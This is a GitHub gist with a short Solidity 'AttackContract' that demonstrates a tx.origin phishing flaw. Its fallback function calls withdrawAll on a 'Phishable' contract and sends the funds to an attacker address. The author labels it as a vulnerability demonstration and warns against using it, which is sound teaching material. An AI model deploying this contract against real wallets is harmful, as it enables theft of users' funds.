Skip to content

Instantly share code, notes, and snippets.

@vasa-develop
Created July 21, 2018 20:01
Show Gist options
  • Save vasa-develop/0b1e458f4555fcdfd3b1f8f9d8be85a5 to your computer and use it in GitHub Desktop.
Save vasa-develop/0b1e458f4555fcdfd3b1f8f9d8be85a5 to your computer and use it in GitHub Desktop.
DO NOT USE THIS CODE. THIS CODE IS USED TO DEMONSTRATE A VULNERABILITY IN A SOLIDITY CODE.
import "Phishable.sol";
contract AttackContract {
Phishable phishableContract;
address attacker; // The attackers address to receive funds.
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () {
phishableContract.withdrawAll(attacker);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment